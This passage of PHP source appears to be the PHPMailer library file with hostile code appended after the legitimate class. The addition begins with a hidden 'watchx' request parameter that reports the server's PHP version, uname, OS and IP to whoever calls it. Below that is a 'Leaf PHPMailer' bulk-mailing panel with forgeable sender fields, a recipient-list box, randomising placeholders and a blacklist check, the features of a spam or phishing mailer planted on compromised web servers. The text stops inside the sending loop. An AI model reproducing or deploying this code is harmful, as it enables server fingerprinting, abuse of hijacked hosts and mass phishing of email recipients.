        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
